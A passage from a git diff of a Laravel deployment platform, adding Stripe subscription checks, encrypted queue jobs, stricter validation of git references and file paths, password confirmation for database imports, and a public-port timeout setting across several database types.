($matchingCustomer->id === $customerId) { + continue; + } + + $subs = $stripe->subscriptions->all([ + 'customer' => $matchingCustomer->id, + 'limit' => 10, + ]); + + usleep(100000); + + foreach ($subs->data as $sub) { + if (in_array($sub->status, ['active', 'past_due'])) { + return [ + 'email' => $email, + 'customer_id' => $matchingCustomer->id, + 'subscription_id' => $sub->id, + 'status' => $sub->status, + ]; + } + } + } + } catch (\Exception $e) { + // Silently skip — will fall through to normal discrepancy + } + + return null; + } + + /** + * Bulk fetch all active and past_due subscription IDs from Stripe. + * + * @return array + */ + private function fetchValidStripeSubscriptionIds(\Stripe\StripeClient $stripe, ?\Closure $onProgress = null): array + { + $validIds = []; + $fetched = 0; + + foreach (['active', 'past_due'] as $status) { + foreach ($stripe->subscriptions->all(['status' => $status, 'limit' => 100])->autoPagingIterator() as $sub) { + $validIds[] = $sub->id; + $fetched++; + + if ($onProgress) { + $onProgress($fetched); + } + } + } + + return $validIds; + } } diff --git a/app/Jobs/ValidateAndInstallServerJob.php b/app/Jobs/ValidateAndInstallServerJob.php index b5e1929de..288904471 100644 --- a/app/Jobs/ValidateAndInstallServerJob.php +++ b/app/Jobs/ValidateAndInstallServerJob.php @@ -8,13 +8,14 @@ use App\Events\ServerValidated; use App\Models\Server; use Illuminate\Bus\Queueable; +use Illuminate\Contracts\Queue\ShouldBeEncrypted; use Illuminate\Contracts\Queue\ShouldQueue; use Illuminate\Foundation\Bus\Dispatchable; use Illuminate\Queue\InteractsWithQueue; use Illuminate\Queue\SerializesModels; use Illuminate\Support\Facades\Log; -class ValidateAndInstallServerJob implements ShouldQueue +class ValidateAndInstallServerJob implements ShouldBeEncrypted, ShouldQueue { use Dispatchable, InteractsWithQueue, Queueable, SerializesModels; @@ -178,6 +179,9 @@ public function handle(): void // Mark validation as complete $this->server->update(['is_validating' => false]); + // Auto-fetch server details now that validation passed + $this->server->gatherServerMetadata(); + // Refresh server to get latest state $this->server->refresh(); diff --git a/app/Jobs/VerifyStripeSubscriptionStatusJob.php b/app/Jobs/VerifyStripeSubscriptionStatusJob.php index 58b6944a2..cf7c3c0ea 100644 --- a/app/Jobs/VerifyStripeSubscriptionStatusJob.php +++ b/app/Jobs/VerifyStripeSubscriptionStatusJob.php @@ -4,12 +4,13 @@ use App\Models\Subscription; use Illuminate\Bus\Queueable; +use Illuminate\Contracts\Queue\ShouldBeEncrypted; use Illuminate\Contracts\Queue\ShouldQueue; use Illuminate\Foundation\Bus\Dispatchable; use Illuminate\Queue\InteractsWithQueue; use Illuminate\Queue\SerializesModels; -class VerifyStripeSubscriptionStatusJob implements ShouldQueue +class VerifyStripeSubscriptionStatusJob implements ShouldBeEncrypted, ShouldQueue { use Dispatchable, InteractsWithQueue, Queueable, SerializesModels; diff --git a/app/Livewire/GlobalSearch.php b/app/Livewire/GlobalSearch.php index ed9115093..f910110dc 100644 --- a/app/Livewire/GlobalSearch.php +++ b/app/Livewire/GlobalSearch.php @@ -1495,6 +1495,7 @@ public function getServicesProperty() 'type' => 'one-click-service-'.$serviceKey, 'category' => 'Services', 'resourceType' => 'service', + 'logo' => data_get($service, 'logo'), ]); } diff --git a/app/Livewire/NavbarDeleteTeam.php b/app/Livewire/NavbarDeleteTeam.php index a8c932912..8e5478b5e 100644 --- a/app/Livewire/NavbarDeleteTeam.php +++ b/app/Livewire/NavbarDeleteTeam.php @@ -15,10 +15,10 @@ public function mount() $this->team = currentTeam()->name; } - public function delete($password) + public function delete($password, $selectedActions = []) { if (! verifyPasswordConfirmation($password, $this)) { - return; + return 'The provided password is incorrect.'; } $currentTeam = currentTeam(); diff --git a/app/Livewire/Project/Application/Configuration.php b/app/Livewire/Project/Application/Configuration.php index 5d7f3fd31..cc1bf15b9 100644 --- a/app/Livewire/Project/Application/Configuration.php +++ b/app/Livewire/Project/Application/Configuration.php @@ -51,9 +51,7 @@ public function mount() $this->environment = $environment; $this->application = $application; - if ($this->application->deploymentType() === 'deploy_key' && $this->currentRoute === 'project.application.preview-deployments') { - return redirect()->route('project.application.configuration', ['project_uuid' => $project->uuid, 'environment_uuid' => $environment->uuid, 'application_uuid' => $application->uuid]); - } + if ($this->application->build_pack === 'dockercompose' && $this->currentRoute === 'project.application.healthcheck') { return redirect()->route('project.application.configuration', ['project_uuid' => $project->uuid, 'environment_uuid' => $environment->uuid, 'application_uuid' => $application->uuid]); diff --git a/app/Livewire/Project/Application/General.php b/app/Livewire/Project/Application/General.php index b7c17fcc3..b3fe99806 100644 --- a/app/Livewire/Project/Application/General.php +++ b/app/Livewire/Project/Application/General.php @@ -37,7 +37,7 @@ class General extends Component #[Validate(['required'])] public string $gitBranch; - #[Validate(['string', 'nullable'])] + #[Validate(['string', 'nullable', 'regex:/^[a-zA-Z0-9][a-zA-Z0-9._\-\/]*$/'])] public ?string $gitCommitSha = null; #[Validate(['string', 'nullable'])] @@ -73,7 +73,7 @@ class General extends Component #[Validate(['string', 'nullable'])] public ?string $dockerfile = null; - #[Validate(['string', 'nullable'])] + #[Validate(['string', 'nullable', 'max:255', 'regex:/^\/[a-zA-Z0-9._\-\/~@+]+$/'])] public ?string $dockerfileLocation = null; #[Validate(['string', 'nullable'])] @@ -85,7 +85,7 @@ class General extends Component #[Validate(['string', 'nullable'])] public ?string $dockerRegistryImageTag = null; - #[Validate(['string', 'nullable'])] + #[Validate(['string', 'nullable', 'max:255', 'regex:/^\/[a-zA-Z0-9._\-\/~@+]+$/'])] public ?string $dockerComposeLocation = null; #[Validate(['string', 'nullable'])] @@ -184,7 +184,7 @@ protected function rules(): array 'fqdn' => 'nullable', 'gitRepository' => 'required', 'gitBranch' => 'required', - 'gitCommitSha' => 'nullable', + 'gitCommitSha' => ['nullable', 'regex:/^[a-zA-Z0-9][a-zA-Z0-9._\-\/]*$/'], 'installCommand' => 'nullable', 'buildCommand' => 'nullable', 'startCommand' => 'nullable', @@ -198,8 +198,8 @@ protected function rules(): array 'dockerfile' => 'nullable', 'dockerRegistryImageName' => 'nullable', 'dockerRegistryImageTag' => 'nullable', - 'dockerfileLocation' => 'nullable', - 'dockerComposeLocation' => 'nullable', + 'dockerfileLocation' => ['nullable', 'regex:'.ValidationPatterns::FILE_PATH_PATTERN], + 'dockerComposeLocation' => ['nullable', 'regex:'.ValidationPatterns::FILE_PATH_PATTERN], 'dockerCompose' => 'nullable', 'dockerComposeRaw' => 'nullable', 'dockerfileTargetBuild' => 'nullable', @@ -231,6 +231,8 @@ protected function messages(): array return array_merge( ValidationPatterns::combinedMessages(), [ + ...ValidationPatterns::filePathMessages('dockerfileLocation', 'Dockerfile'), + ...ValidationPatterns::filePathMessages('dockerComposeLocation', 'Docker Compose'), 'name.required' => 'The Name field is required.', 'gitRepository.required' => 'The Git Repository field is required.', 'gitBranch.required' => 'The Git Branch field is required.', diff --git a/app/Livewire/Project/Application/Rollback.php b/app/Livewire/Project/Application/Rollback.php index e8edf72fa..3edd77833 100644 --- a/app/Livewire/Project/Application/Rollback.php +++ b/app/Livewire/Project/Application/Rollback.php @@ -50,6 +50,8 @@ public function rollbackImage($commit) { $this->authorize('deploy', $this->application); + $commit = validateGitRef($commit, 'rollback commit'); + $deployment_uuid = new Cuid2; $result = queue_application_deployment( diff --git a/app/Livewire/Project/Application/Source.php b/app/Livewire/Project/Application/Source.php index ab2517f2b..422dd6b28 100644 --- a/app/Livewire/Project/Application/Source.php +++ b/app/Livewire/Project/Application/Source.php @@ -30,7 +30,7 @@ class Source extends Component #[Validate(['required', 'string'])] public string $gitBranch; - #[Validate(['nullable', 'string'])] + #[Validate(['nullable', 'string', 'regex:/^[a-zA-Z0-9][a-zA-Z0-9._\-\/]*$/'])] public ?string $gitCommitSha = null; #[Locked] diff --git a/app/Livewire/Project/Database/BackupEdit.php b/app/Livewire/Project/Database/BackupEdit.php index 35262d7b0..c24e2a3f1 100644 --- a/app/Livewire/Project/Database/BackupEdit.php +++ b/app/Livewire/Project/Database/BackupEdit.php @@ -146,12 +146,12 @@ public function syncData(bool $toModel = false) } } - public function delete($password) + public function delete($password, $selectedActions = []) { $this->authorize('manageBackups', $this->backup->database); if (! verifyPasswordConfirmation($password, $this)) { - return; + return 'The provided password is incorrect.'; } try { diff --git a/app/Livewire/Project/Database/BackupExecutions.php b/app/Livewire/Project/Database/BackupExecutions.php index 44f903fcc..1dd93781d 100644 --- a/app/Livewire/Project/Database/BackupExecutions.php +++ b/app/Livewire/Project/Database/BackupExecutions.php @@ -65,10 +65,10 @@ public function cleanupDeleted() } } - public function deleteBackup($executionId, $password) + public function deleteBackup($executionId, $password, $selectedActions = []) { if (! verifyPasswordConfirmation($password, $this)) { - return; + return 'The provided password is incorrect.'; } $execution = $this->backup->executions()->where('id', $executionId)->first(); @@ -96,7 +96,11 @@ public function deleteBackup($executionId, $password) $this->refreshBackupExecutions(); } catch (\Exception $e) { $this->dispatch('error', 'Failed to delete backup: '.$e->getMessage()); + + return true; } + + return true; } public function download_file($exeuctionId) diff --git a/app/Livewire/Project/Database/Clickhouse/General.php b/app/Livewire/Project/Database/Clickhouse/General.php index 7ad453fd5..9de75c1c5 100644 --- a/app/Livewire/Project/Database/Clickhouse/General.php +++ b/app/Livewire/Project/Database/Clickhouse/General.php @@ -36,6 +36,8 @@ class General extends Component public ?int $publicPort = null; + public ?int $publicPortTimeout = 3600; + public ?string $customDockerRunOptions = null; public ?string $dbUrl = null; @@ -80,6 +82,7 @@ protected function rules(): array 'portsMappings' => 'nullable|string', 'isPublic' => 'nullable|boolean', 'publicPort' => 'nullable|integer', + 'publicPortTimeout' => 'nullable|integer|min:1', 'customDockerRunOptions' => 'nullable|string', 'dbUrl' => 'nullable|string', 'dbUrlPublic' => 'nullable|string', @@ -99,6 +102,8 @@ protected function messages(): array 'image.required' => 'The Docker Image field is required.', 'image.string' => 'The Docker Image must be a string.', 'publicPort.integer' => 'The Public Port must be an integer.', + 'publicPortTimeout.integer' => 'The Public Port Timeout must be an integer.', + 'publicPortTimeout.min' => 'The Public Port Timeout must be at least 1.', ] ); } @@ -115,6 +120,7 @@ public function syncData(bool $toModel = false) $this->database->ports_mappings = $this->portsMappings; $this->database->is_public = $this->isPublic; $this->database->public_port = $this->publicPort; + $this->database->public_port_timeout = $this->publicPortTimeout; $this->database->custom_docker_run_options = $this->customDockerRunOptions; $this->database->is_log_drain_enabled = $this->isLogDrainEnabled; $this->database->save(); @@ -130,6 +136,7 @@ public function syncData(bool $toModel = false) $this->portsMappings = $this->database->ports_mappings; $this->isPublic = $this->database->is_public; $this->publicPort = $this->database->public_port; + $this->publicPortTimeout = $this->database->public_port_timeout; $this->customDockerRunOptions = $this->database->custom_docker_run_options; $this->isLogDrainEnabled = $this->database->is_log_drain_enabled; $this->dbUrl = $this->database->internal_db_url; diff --git a/app/Livewire/Project/Database/Dragonfly/General.php b/app/Livewire/Project/Database/Dragonfly/General.php index 4e325b9ee..d35e57a9d 100644 --- a/app/Livewire/Project/Database/Dragonfly/General.php +++ b/app/Livewire/Project/Database/Dragonfly/General.php @@ -36,6 +36,8 @@ class General extends Component public ?int $publicPort = null; + public ?int $publicPortTimeout = 3600; + public ?string $customDockerRunOptions = null; public ?string $dbUrl = null; @@ -91,6 +93,7 @@ protected function rules(): array 'portsMappings' => 'nullable|string', 'isPublic' => 'nullable|boolean', 'publicPort' => 'nullable|integer', + 'publicPortTimeout' => 'nullable|integer|min:1', 'customDockerRunOptions' => 'nullable|string', 'dbUrl' => 'nullable|string', 'dbUrlPublic' => 'nullable|string', @@ -109,6 +112,8 @@ protected function messages(): array 'image.required' => 'The Docker Image field is required.', 'image.string' => 'The Docker Image must be a string.', 'publicPort.integer' => 'The Public Port must be an integer.', + 'publicPortTimeout.integer' => 'The Public Port Timeout must be an integer.', + 'publicPortTimeout.min' => 'The Public Port Timeout must be at least 1.', ] ); } @@ -124,6 +129,7 @@ public function syncData(bool $toModel = false) $this->database->ports_mappings = $this->portsMappings; $this->database->is_public = $this->isPublic; $this->database->public_port = $this->publicPort; + $this->database->public_port_timeout = $this->publicPortTimeout; $this->database->custom_docker_run_options = $this->customDockerRunOptions; $this->database->is_log_drain_enabled = $this->isLogDrainEnabled; $this->database->enable_ssl = $this->enable_ssl; @@ -139,6 +145,7 @@ public function syncData(bool $toModel = false) $this->portsMappings = $this->database->ports_mappings; $this->isPublic = $this->database->is_public; $this->publicPort = $this->database->public_port; + $this->publicPortTimeout = $this->database->public_port_timeout; $this->customDockerRunOptions = $this->database->custom_docker_run_options; $this->isLogDrainEnabled = $this->database->is_log_drain_enabled; $this->enable_ssl = $this->database->enable_ssl; diff --git a/app/Livewire/Project/Database/Heading.php b/app/Livewire/Project/Database/Heading.php index 8d3d8e294..c6c9a3c48 100644 --- a/app/Livewire/Project/Database/Heading.php +++ b/app/Livewire/Project/Database/Heading.php @@ -69,7 +69,11 @@ public function manualCheckStatus() public function mount() { - $this->parameters = get_route_parameters(); + $this->parameters = [ + 'project_uuid' => $this->database->environment->project->uuid, + 'environment_uuid' => $this->database->environment->uuid, + 'database_uuid' => $this->database->uuid, + ]; } public function stop() diff --git a/app/Livewire/Project/Database/Import.php b/app/Livewire/Project/Database/Import.php index 7d37bd473..4675ab8f9 100644 --- a/app/Livewire/Project/Database/Import.php +++ b/app/Livewire/Project/Database/Import.php @@ -401,20 +401,24 @@ public function checkFile() } } - public function runImport() + public function runImport(string $password = ''): bool|string { + if (! verifyPasswordConfirmation($password, $this)) { + return 'The provided password is incorrect.'; + } + $this->authorize('update', $this->resource); if ($this->filename === '') { $this->dispatch('error', 'Please select a file to import.'); - return; + return true; } if (! $this->server) { $this->dispatch('error', 'Server not found. Please refresh the page.'); - return; + return true; } try { @@ -434,7 +438,7 @@ public function runImport() if (! $this->validateServerPath($this->customLocation)) { $this->dispatch('error', 'Invalid file path. Path must be absolute and contain only safe characters.'); - return; + return true; } $tmpPath = '/tmp/restore_'.$this->resourceUuid; $escapedCustomLocation = escapeshellarg($this->customLocation); @@ -442,7 +446,7 @@ public function runImport() } else { $this->dispatch('error', 'The file does not exist or has been deleted.'); - return; + return true; } // Copy the restore command to a script file @@ -474,11 +478,15 @@ public function runImport() $this->dispatch('databaserestore'); } } catch (\Throwable $e) { - return handleError($e, $this); + handleError($e, $this); + + return true; } finally { $this->filename = null; $this->importCommands = []; } + + return true; } public function loadAvailableS3Storages() @@ -577,26 +585,30 @@ public function checkS3File() } } - public function restoreFromS3() + public function restoreFromS3(string $password = ''): bool|string { + if (! verifyPasswordConfirmation($password, $this)) { + return 'The provided password is incorrect.'; + } + $this->authorize('update', $this->resource); if (! $this->s3StorageId || blank($this->s3Path)) { $this->dispatch('error', 'Please select S3 storage and provide a path first.'); - return; + return true; } if (is_null($this->s3FileSize)) { $this->dispatch('error', 'Please check the file first by clicking "Check File".'); - return; + return true; } if (! $this->server) { $this->dispatch('error', 'Server not found. Please refresh the page.'); - return; + return true; } try { @@ -613,7 +625,7 @@ public function restoreFromS3() if (! $this->validateBucketName($bucket)) { $this->dispatch('error', 'Invalid S3 bucket name. Bucket name must contain only alphanumerics, dots, dashes, and underscores.'); - return; + return true; } // Clean the S3 path @@ -623,7 +635,7 @@ public function restoreFromS3() if (! $this->validateS3Path($cleanPath)) { $this->dispatch('error', 'Invalid S3 path. Path must contain only safe characters (alphanumerics, dots, dashes, underscores, slashes).'); - return; + return true; } // Get helper image @@ -711,9 +723,12 @@ public function restoreFromS3() $this->dispatch('info', 'Restoring database from S3. Progress will be shown in the activity monitor...'); } catch (\Throwable $e) { $this->importRunning = false; + handleError($e, $this); - return handleError($e, $this); + return true; } + + return true; } public function buildRestoreCommand(string $tmpPath): string diff --git a/app/Livewire/Project/Database/Keydb/General.php b/app/Livewire/Project/Database/Keydb/General.php index f02aa6674..adb4ccb5f 100644 --- a/app/Livewire/Project/Database/Keydb/General.php +++ b/app/Livewire/Project/Database/Keydb/General.php @@ -38,6 +38,8 @@ class General extends Component public ?int $publicPort = null; + public ?int $publicPortTimeout = 3600; + public ?string $customDockerRunOptions = null; public ?string $dbUrl = null; @@ -94,6 +96,7 @@ protected function rules(): array 'portsMappings' => 'nullable|string', 'isPublic' => 'nullable|boolean', 'publicPort' => 'nullable|integer', + 'publicPortTimeout' => 'nullable|integer|min:1', 'customDockerRunOptions' => 'nullable|string', 'dbUrl' => 'nullable|string', 'dbUrlPublic' => 'nullable|string', @@ -114,6 +117,8 @@ protected function messages(): array 'image.required' => 'The Docker Image field is required.', 'image.string' => 'The Docker Image must be a string.', 'publicPort.integer' => 'The Public Port must be an integer.', + 'publicPortTimeout.integer' => 'The Public Port Timeout must be an integer.', + 'publicPortTimeout.min' => 'The Public Port Timeout must be at least 1.', ] ); } @@ -130,6 +135,7 @@ public function syncData(bool $toModel = false) $this->database->ports_mappings = $this->portsMappings; $this->database->is_public = $this->isPublic; $this->database->public_port = $this->publicPort; + $this->database->public_port_timeout = $this->publicPortTimeout; $this->database->custom_docker_run_options = $this->customDockerRunOptions; $this->database->is_log_drain_enabled = $this->isLogDrainEnabled; $this->database->enable_ssl = $this->enable_ssl; @@ -146,6 +152,7 @@ public function syncData(bool $toModel = false) $this->portsMappings = $this->database->ports_mappings; $this->isPublic = $this->database->is_public; $this->publicPort = $this->database->public_port; + $this->publicPortTimeout = $this->database->public_port_timeout; $this->customDockerRunOptions = $this->database->custom_docker_run_options; $this->isLogDrainEnabled = $this->database->is_log_drain_enabled; $this->enable_ssl = $this->database->enable_ssl; diff --git a/app/Livewire/Project/Database/Mariadb/General.php b/app/Livewire/Project/Database/Mariadb/General.php index 74658e2a4..14240c82d 100644 --- a/app/Livewire/Project/Database/Mariadb/General.php +++ b/app/Livewire/Project/Database/Mariadb/General.php @@ -44,6 +44,8 @@ class General extends Component public ?int $publicPort = null; + public ?int $publicPortTimeout = 3600; + public bool $isLogDrainEnabled = false; public ?string $customDockerRunOptions = null; @@ -79,6 +81,7 @@ protected function rules(): array 'portsMappings' => 'nullable', 'isPublic' => 'nullable|boolean', 'publicPort' => 'nullable|integer', + 'publicPortTimeout' => 'nullable|integer|min:1', 'isLogDrainEnabled' => 'nullable|boolean', 'customDockerRunOptions' => 'nullable', 'enableSsl' => 'boolean', @@ -97,6 +100,8 @@ protected function messages(): array 'mariadbDatabase.required' => 'The MariaDB Database field is required.', 'image.required' => 'The Docker Image field is required.', 'publicPort.integer' => 'The Public Port must be an integer.', + 'publicPortTimeout.integer' => 'The Public Port Timeout must be an integer.', + 'publicPortTimeout.min' => 'The Public Port Timeout must be at least 1.', ] ); } @@ -113,6 +118,7 @@ protected function messages(): array 'portsMappings' => 'Port Mapping', 'isPublic' => 'Is Public', 'publicPort' => 'Public Port', + 'publicPortTimeout' => 'Public Port Timeout', 'customDockerRunOptions' => 'Custom Docker Options', 'enableSsl' => 'Enable SSL', ]; @@ -154,6 +160,7 @@ public function syncData(bool $toModel = false) $this->database->ports_mappings = $this->portsMappings; $this->database->is_public = $this->isPublic; $this->database->public_port = $this->publicPort; + $this->database->public_port_timeout = $this->publicPortTimeout; $this->database->is_log_drain_enabled = $this->isLogDrainEnabled; $this->database->custom_docker_run_options = $this->customDockerRunOptions; $this->database->enable_ssl = $this->enableSsl; @@ -173,6 +180,7 @@ public function syncData(bool $toModel = false) $this->portsMappings = $this->database->ports_mappings; $this->isPublic = $this->database->is_public; $this->publicPort = $this->database->public_port; + $this->publicPortTimeout = $this->database->public_port_timeout; $this->isLogDrainEnabled = $this->database->is_log_drain_enabled; $this->customDockerRunOptions = $this->database->custom_docker_run_options; $this->enableSsl = $this->database->enable_ssl; diff --git a/app/Livewire/Project/Database/Mongodb/General.php b/app/Livewire/Project/Database/Mongodb/General.php index 9f34b73d5..11419ec71 100644 --- a/app/Livewire/Project/Database/Mongodb/General.php +++ b/app/Livewire/Project/Database/Mongodb/General.php @@ -42,6 +42,8 @@ class General extends Component public ?int $publicPort = null; + public ?int $publicPortTimeout = 3600; + public bool $isLogDrainEnabled = false; public ?string $customDockerRunOptions = null; @@ -78,6 +80,7 @@ protected function rules(): array 'portsMappings' => 'nullable', 'isPublic' => 'nullable|boolean', 'publicPort' => 'nullable|integer', + 'publicPortTimeout' => 'nullable|integer|min:1', 'isLogDrainEnabled' => 'nullable|boolean', 'customDockerRunOptions' => 'nullable', 'enableSsl' => 'boolean', @@ -96,6 +99,8 @@ protected function messages(): array 'mongoInitdbDatabase.required' => 'The MongoDB Database field is required.', 'image.required' => 'The Docker Image field is required.', 'publicPort.integer' => 'The Public Port must be an integer.', + 'publicPortTimeout.integer' => 'The Public Port Timeout must be an integer.', + 'publicPortTimeout.min' => 'The Public Port Timeout must be at least 1.', 'sslMode.in' => 'The SSL Mode must be one of: allow, prefer, require, verify-full.', ] ); @@ -112,6 +117,7 @@ protected function messages(): array 'portsMappings' => 'Port Mapping', 'isPublic' => 'Is Public', 'publicPort' => 'Public Port', + 'publicPortTimeout' => 'Public Port Timeout', 'customDockerRunOptions' => 'Custom Docker Run Options', 'enableSsl' => 'Enable SSL', 'sslMode' => 'SSL Mode', @@ -153,6 +159,7 @@ public function syncData(bool $toModel = false) $this->database->ports_mappings = $this->portsMappings; $this->database->is_public = $this->isPublic; $this->database->public_port = $this->publicPort; + $this->database->public_port_timeout = $this->publicPortTimeout; $this->database->is_log_drain_enabled = $this->isLogDrainEnabled; $this->database->custom_docker_run_options = $this->customDockerRunOptions; $this->database->enable_ssl = $this->enableSsl; @@ -172,6 +179,7 @@ public function syncData(bool $toModel = false) $this->portsMappings = $this->database->ports_mappings; $this->isPublic = $this->database->is_public; $this->publicPort = $this->database->public_port; + $this->publicPortTimeout = $this->database->public_port_timeout; $this->isLogDrainEnabled = $this->database->is_log_drain_enabled; $this->customDockerRunOptions = $this->database->custom_docker_run_options; $this->enableSsl = $this->database->enable_ssl; diff --git a/app/Livewire/Project/Database/Mysql/General.php b/app/Livewire/Project/Database/Mysql/General.php index 86b109251..4f0f5eb19 100644 --- a/app/Livewire/Project/Database/Mysql/General.php +++ b/app/Livewire/Project/Database/Mysql/General.php @@ -44,6 +44,8 @@ class General extends Component public ?int $publicPort = null; + public ?int $publicPortTimeout = 3600; + public bool $isLogDrainEnabled = false; public ?string $customDockerRunOptions = null; @@ -81,6 +83,7 @@ protected function rules(): array 'portsMappings' => 'nullable', 'isPublic' => 'nullable|boolean', 'publicPort' => 'nullable|integer', + 'publicPortTimeout' => 'nullable|integer|min:1', 'isLogDrainEnabled' => 'nullable|boolean', 'customDockerRunOptions' => 'nullable', 'enableSsl' => 'boolean', @@ -100,6 +103,8 @@ protected function messages(): array 'mysqlDatabase.required' => 'The MySQL Database field is required.', 'image.required' => 'The Docker Image field is required.', 'publicPort.integer' => 'The Public Port must be an integer.', + 'publicPortTimeout.integer' => 'The Public Port Timeout must be an integer.', + 'publicPortTimeout.min' => 'The Public Port Timeout must be at least 1.', 'sslMode.in' => 'The SSL Mode must be one of: PREFERRED, REQUIRED, VERIFY_CA, VERIFY_IDENTITY.', ] ); @@ -117,6 +122,7 @@ protected function messages(): array 'portsMappings' => 'Port Mapping', 'isPublic' => 'Is Public', 'publicPort' => 'Public Port', + 'publicPortTimeout' => 'Public Port Timeout', 'customDockerRunOptions' => 'Custom Docker Run Options', 'enableSsl' => 'Enable SSL', 'sslMode' => 'SSL Mode', @@ -159,6 +165,7 @@ public function syncData(bool $toModel = false) $this->database->ports_mappings = $this->portsMappings; $this->database->is_public = $this->isPublic; $this->database->public_port = $this->publicPort; + $this->database->public_port_timeout = $this->publicPortTimeout; $this->database->is_log_drain_enabled = $this->isLogDrainEnabled; $this->database->custom_docker_run_options = $this->customDockerRunOptions; $this->database->enable_ssl = $this->enableSsl; @@ -179,6 +186,7 @@ public function syncData(bool $toModel = false) $this->portsMappings = $this->database->ports_mappings; $this->isPublic = $this->database->is_public; $this->publicPort = $this->database->public_port; + $this->publicPortTimeout = $this->database->public_port_timeout; $this->isLogDrainEnabled = $this->database->is_log_drain_enabled; $this->customDockerRunOptions = $this->database->custom_docker_run_options; $this->enableSsl = $this->database->enable_ssl; diff --git a/app/Livewire/Project/Database/Postgresql/General.php b/app/Livewire/Project/Database/Postgresql/General.php index e24674315..4e044672b 100644 --- a/app/Livewire/Project/Database/Postgresql/General.php +++ b/app/Livewire/Project/Database/Postgresql/General.php @@ -48,6 +48,8 @@ class General extends Component public ?int $publicPort = null; + public ?int $publicPortTimeout = 3600; + public bool $isLogDrainEnabled = false; public ?string $customDockerRunOptions = null; @@ -93,6 +95,7 @@ protected function rules(): array 'portsMappings' => 'nullable', 'isPublic' => 'nullable|boolean', 'publicPort' => 'nullable|integer', + 'publicPortTimeout' => 'nullable|integer|min:1', 'isLogDrainEnabled' => 'nullable|boolean', 'customDockerRunOptions' => 'nullable', 'enableSsl' => 'boolean', @@ -111,6 +114,8 @@ protected function messages(): array 'postgresDb.required' => 'The Postgres Database field is required.', 'image.required' => 'The Docker Image field is required.', 'publicPort.integer' => 'The Public Port must be an integer.', + 'publicPortTimeout.integer' => 'The Public Port Timeout must be an integer.', + 'publicPortTimeout.min' => 'The Public Port Timeout must be at least 1.', 'sslMode.in' => 'The SSL Mode must be one of: allow, prefer, require, verify-ca, verify-full.', ] ); @@ -130,6 +135,7 @@ protected function messages(): array 'portsMappings' => 'Port Mapping', 'isPublic' => 'Is Public', 'publicPort' => 'Public Port', + 'publicPortTimeout' => 'Public Port Timeout', 'customDockerRunOptions' => 'Custom Docker Run Options', 'enableSsl' => 'Enable SSL', 'sslMode' => 'SSL Mode', @@ -174,6 +180,7 @@ public function syncData(bool $toModel = false) $this->database->ports_mappings = $this->portsMappings; $this->database->is_public = $this->isPublic; $this->database->public_port = $this->publicPort; + $this->database->public_port_timeout = $this->publicPortTimeout; $this->database->is_log_drain_enabled = $this->isLogDrainEnabled; $this->database->custom_docker_run_options = $this->customDockerRunOptions; $this->database->enable_ssl = $this->enableSsl; @@ -196,6 +203,7 @@ public function syncData(bool $toModel = false) $this->portsMappings = $this->database->ports_mappings; $this->isPublic = $this->database->is_public; $this->publicPort = $this->database->public_port; + $this->publicPortTimeout = $this->database->public_port_timeout; $this->isLogDrainEnabled = $this->database->is_log_drain_enabled; $this->customDockerRunOptions = $this->database->custom_docker_run_options; $this->enableSsl = $this->database->enable_ssl; diff --git a/app/Livewire/Project/Database/Redis/General.php b/app/Livewire/Project/Database/Redis/General.php index 08bcdc343..ebe2f3ba0 100644 --- a/app/Livewire/Project/Database/Redis/General.php +++ b/app/Livewire/Project/Database/Redis/General.php @@ -36,6 +36,8 @@ class General extends Component public ?int $publicPort = null; + public ?int $publicPortTimeout = 3600; + public bool $isLogDrainEnabled = false; public ?string $customDockerRunOptions = null; @@ -74,6 +76,7 @@ protected function rules(): array 'portsMappings' => 'nullable', 'isPublic' => 'nullable|boolean', 'publicPort' => 'nullable|integer', + 'publicPortTimeout' => 'nullable|integer|min:1', 'isLogDrainEnabled' => 'nullable|boolean', 'customDockerRunOptions' => 'nullable', 'redisUsername' => 'required', @@ -90,6 +93,8 @@ protected function messages(): array 'name.required' => 'The Name field is required.', 'image.required' => 'The Docker Image field is required.', 'publicPort.integer' => 'The Public Port must be an integer.', + 'publicPortTimeout.integer' => 'The Public Port Timeout must be an integer.', + 'publicPortTimeout.min' => 'The Public Port Timeout must be at least 1.', 'redisUsername.required' => 'The Redis Username field is required.', 'redisPassword.required' => 'The Redis Password field is required.', ] @@ -104,6 +109,7 @@ protected function messages(): array 'portsMappings' => 'Port Mapping', 'isPublic' => 'Is Public', 'publicPort' => 'Public Port', + 'publicPortTimeout' => 'Public Port Timeout', 'customDockerRunOptions' => 'Custom Docker Options', 'redisUsername' => 'Redis Username', 'redisPassword' => 'Redis Password', @@ -143,6 +149,7 @@ public function syncData(bool $toModel = false) $this->database->ports_mappings = $this->portsMappings; $this->database->is_public = $this->isPublic; $this->database->public_port = $this->publicPort; + $this->database->public_port_timeout = $this->publicPortTimeout; $this->database->is_log_drain_enabled = $this->isLogDrainEnabled; $this->database->custom_docker_run_options = $this->customDockerRunOptions; $this->database->enable_ssl = $this->enableSsl; @@ -158,6 +165,7 @@ public function syncData(bool $toModel = false) $this->portsMappings = $this->database->ports_mappings; $this->isPublic = $this->database->is_public; $this->publicPort = $this->database->public_port; + $this->publicPortTimeout = $this->database->public_port_timeout; $this->isLogDrainEnabled = $this->database->is_log_drain_enabled; $this->customDockerRunOptions = $this->database->custom_docker_run_options; $this->enableSsl = $this->database->enable_ssl; diff --git a/app/Livewire/Project/New/DockerCompose.php b/app/Livewire/Project/New/DockerCompose.php index 18bb237af..634a012c0 100644 --- a/app/Livewire/Project/New/DockerCompose.php +++ b/app/Livewire/Project/New/DockerCompose.php @@ -63,10 +63,16 @@ public function submit() ]); $variables = parseEnvFormatToArray($this->envFile); - foreach ($variables as $key => $variable) { + foreach ($variables as $key => $data) { + // Extract value and comment from parsed data + // Handle both array format ['value' => ..., 'comment' => ...] and plain string values + $value = is_array($data) ? ($data['value'] ?? '') : $data; + $comment = is_array($data) ? ($data['comment'] ?? null) : null; + EnvironmentVariable::create([ 'key' => $key, - 'value' => $variable, + 'value' => $value, + 'comment' => $comment, 'is_preview' => false, 'resourceable_id' => $service->id, 'resourceable_type' => $service->getMorphClass(), diff --git a/app/Livewire/Project/New/GithubPrivateRepository.php b/app/Livewire/Project/New/GithubPrivateRepository.php index 6acb17f82..61ae0e151 100644 --- a/app/Livewire/Project/New/GithubPrivateRepository.php +++ b/app/Livewire/Project/New/GithubPrivateRepository.php @@ -163,10 +163,12 @@ public function submit() 'selected_repository_owner' => $this->selected_repository_owner, 'selected_repository_repo' => $this->selected_repository_repo, 'selected_branch_name' => $this->selected_branch_name, + 'docker_compose_location' => $this->docker_compose_location, ], [ 'selected_repository_owner' => 